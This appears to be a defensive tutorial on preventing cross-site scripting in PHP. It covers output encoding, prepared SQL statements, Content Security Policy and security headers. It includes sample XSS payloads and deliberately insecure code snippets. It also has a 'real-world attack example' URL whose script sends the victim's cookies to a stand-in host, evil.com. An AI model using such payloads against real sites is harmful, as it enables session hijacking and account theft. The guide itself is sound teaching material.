How to Prevent XSS Attacks in PHP Using CSP, Output Encoding & Secure Queries

Cross-Site Scripting (XSS) is one of the most common and dangerous web security vulnerabilities affecting PHP websites. This guide explains how XSS attacks work, why using only a Content Security Policy (CSP) is not enough, and how to properly secure PHP applications using input validation, output encoding, prepared SQL statements, and security headers to prevent data theft, session hijacking, and website compromise.

Cross-Site Scripting (XSS) Vulnerability in PHP: Complete Guide to Prevention Using CSP and Secure Coding

Cross-Site Scripting (XSS) is one of the most dangerous and widely exploited web application vulnerabilities. It allows attackers to inject malicious JavaScript into legitimate websites, which then executes in the browsers of unsuspecting users.

XSS attacks can result in:

  • User session hijacking
  • Credential theft
  • Account takeover
  • Malware distribution
  • Website defacement
  • Financial fraud

This article provides a complete technical and practical guide to:

  • What XSS is
  • How it works
  • Types of XSS attacks
  • How XSS affects PHP applications
  • Why CSP alone is NOT enough
  • The correct way to secure a PHP application
  • Secure search.php?q= implementation
  • A real-world prevention checklist

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a type of injection vulnerability where an attacker injects malicious JavaScript into a trusted website. When other users visit that page, the malicious script executes in their browser as if it came from the legitimate site.

Example of a Vulnerable URL:

https://example.com/search.php?q=world

If the q parameter is not properly secured, an attacker could inject:

?q=<script>alert('Hacked')</script>

If the site echoes this input without protection, the attacker’s script runs inside the victim’s browser.

How XSS Attacks Work

  1. A website accepts user input (URL, form, comment, etc.)
  2. The input is stored or displayed without proper filtering
  3. The attacker injects malicious JavaScript
  4. Victims load the page
  5. The browser executes the malicious script
  6. The attacker gains access to cookies, sessions, and user data

Types of XSS Attacks

1. Stored XSS (Persistent)

The malicious payload is stored permanently in the database.

Common targets:

  • Comment systems
  • User profiles
  • Product reviews
  • Forums

Every user who visits the infected page executes the script.

✅  Most dangerous
✅  Large-scale attacks
❌  Difficult to detect early

2. Reflected XSS (Non-Persistent)

The malicious code is reflected directly from the request.

Example:

A malicious link is sent to a victim through email or social media.

✅  Very common
✅  Used in phishing campaigns
❌  Requires user interaction

3. DOM-Based XSS

The entire attack happens in the browser using JavaScript.

Vulnerable code example:

element.innerHTML = location.search;

✅  Hard to detect
✅  Common in modern JavaScript frameworks

What Can Attackers Do Using XSS?

With a successful XSS attack, attackers can:

  • Steal authentication cookies
  • Hijack user accounts
  • Perform actions as the victim
  • Log keystrokes
  • Capture passwords and credit card data
  • Redirect users to malicious websites
  • Inject fake login forms
  • Spread malware

Why CSP Alone Is NOT Enough

A Content Security Policy (CSP) is a powerful browser-level security feature that restricts the execution of scripts.

Example CSP header:

Content-Security-Policy: script-src 'self'

✅ What CSP Can Do

  • Block inline JavaScript
  • Block third-party scripts
  • Reduce XSS exploit impact
  • Prevent data exfiltration to unknown domains

❌ What CSP CANNOT Do

  • Prevent SQL Injection
  • Stop HTML injection
  • Stop DOM-based XSS in unsafe JS
  • Secure server-side vulnerabilities
  • Replace output encoding

CSP is a backup defense — not a primary solution.

Without proper input validation and output encoding, your site remains vulnerable even with CSP enabled.

The Correct Way to Secure a PHP Search Page

Example Vulnerable URL

https://example.com/search.php?q=world

1. Secure Input Handling in PHP

❌ Insecure:

$q = $_GET['q'];

✅ Secure:

$q = filter_input(INPUT_GET, 'q', FILTER_SANITIZE_SPECIAL_CHARS);

This blocks raw script tags at the input level.

2. Secure Output Encoding (MOST IMPORTANT)

❌ Insecure:

echo $q;

✅ Secure:

echo htmlspecialchars($q, ENT_QUOTES, 'UTF-8');

This ensures:

  • <script> becomes harmless text
  • JavaScript is never executed
  • Stored and reflected XSS are neutralized

3. Secure Database Searching (Prevent SQL Injection)

❌ Vulnerable to SQL Injection:

 $sql = "SELECT * FROM posts WHERE title LIKE '%$q%'";linebreakmarker mysqli_query($conn, $sql); 

✅ Secure Prepared Statement:

 $stmt = $conn->prepare("SELECT * FROM posts WHERE title LIKE ?"); linebreakmarker $search = "%$q%"; linebreakmarker $stmt->bind_param("s", $search); linebreakmarker $stmt->execute(); linebreakmarker $result = $stmt->get_result(); 

Prepared statements are the ONLY safe method to handle user input in SQL.

4. Implement a Strong Content Security Policy

Add this at the top of search.php:

 header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"); 

This prevents:

  • Inline scripts
  • External malicious scripts
  • Plugin-based attacks

5. Add Security Headers

 header("X-Content-Type-Options: nosniff"); linebreakmarker header("X-Frame-Options: DENY"); linebreakmarker header("Referrer-Policy: no-referrer"); linebreakmarker header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload"); 

Complete Secure search.php Example

  <?php linebreakmarker header("Content-Security-Policy: default-src 'self'; script-src 'self'"); linebreakmarker header("X-Content-Type-Options: nosniff"); linebreakmarker header("X-Frame-Options: DENY"); linebreakmarker  linebreakmarker // Secure input linebreakmarker $q = filter_input(INPUT_GET, 'q', FILTER_SANITIZE_SPECIAL_CHARS); linebreakmarker  linebreakmarker // Secure output linebreakmarker $safe_q = htmlspecialchars($q, ENT_QUOTES, 'UTF-8'); linebreakmarker  linebreakmarker // Secure SQL query linebreakmarker $stmt = $conn->prepare("SELECT * FROM posts WHERE title LIKE ?"); linebreakmarker $search = "%$q%"; linebreakmarker $stmt->bind_param("s", $search); linebreakmarker $stmt->execute(); linebreakmarker $result = $stmt->get_result(); linebreakmarker ?> linebreakmarker  linebreakmarker <h2>Search Results for: <?php echo $safe_q; ?></h2>  

Real-World Attack Example

An attacker visits:

 https://example.com/search.php?q=<script>fetch('https://evil.com/?c='+document.cookie)</script> 

If not protected:

  • User cookies are stolen
  • Attacker hijacks accounts
  • Sessions are compromised
  • Admin panels can be taken over

With proper protection:

✅ Payload is converted to harmless text
✅ Attack fails instantly

XSS vs SQL Injection vs CSRF

AttackTargetResult
XSSUser browserSession hijacking
SQL InjectionDatabaseData breach
CSRFUser actionsUnauthorized requests

OWASP Security Compliance

XSS consistently ranks in the OWASP Top 10 Web Vulnerabilities, affecting:

  • Banking platforms
  • E-commerce stores
  • Government portals
  • Social media networks

Failure to prevent XSS can result in:

  • Legal penalties
  • Financial losses
  • Brand damage
  • Customer data breaches

Enterprise-Level XSS Prevention Checklist

✅ Use htmlspecialchars() on all output
✅ Use prepared SQL statements
✅ Never trust user input
✅ Enable CSP
✅ Avoid innerHTML in JavaScript
✅ Avoid eval()
✅ Use secure frameworks
✅ Apply proper HTTP security headers
✅ Run vulnerability scanners regularly
✅ Conduct security audits

True security requires:

  • Input validation
  • Output encoding
  • Secure SQL queries
  • Browser security via CSP
  • Secure headers
  • Safe JavaScript handling

This layered approach is called Defense in Depth and is the industry standard for secure web development.

Cross-Site Scripting, XSS vulnerability, XSS in PHP, PHP security, XSS prevention, Content Security Policy, CSP header, Stored XSS, Reflected XSS, DOM XSS, SQL Injection, Secure PHP coding, Web application security